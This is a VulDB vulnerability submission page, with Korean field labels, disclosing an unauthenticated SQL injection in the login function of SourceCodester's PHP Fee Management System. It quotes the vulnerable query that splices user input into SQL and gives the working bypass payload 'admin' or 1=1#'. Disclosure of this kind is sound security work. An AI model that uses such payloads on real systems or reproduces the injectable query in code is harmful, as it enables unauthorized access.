| 제목 | Unauthenticated SQL injection in Fee Management System in login page. |
|---|
| 설명 | Fee Management System source code URL:
https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html
in admin_class.php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' ");
......
}
the usename and password variables is directly spliced into sql statement.
In login page, anyone can login with the below parameters:
username: admin' or 1=1#
password: whatever
|
|---|
| 원천 | ⚠️ https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html |
|---|
| 사용자 | zhangguohu (UID 30684) |
|---|
| 제출 | 2022. 08. 05. AM 11:44 (4 연령 ago) |
|---|
| 모더레이션 | 2022. 08. 05. PM 12:43 (59 minutes later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 205658 [SourceCodester Best Fee Management System admin_class.php login 사용자 이름 SQL 주입] |
|---|
| 포인트들 | 20 |
|---|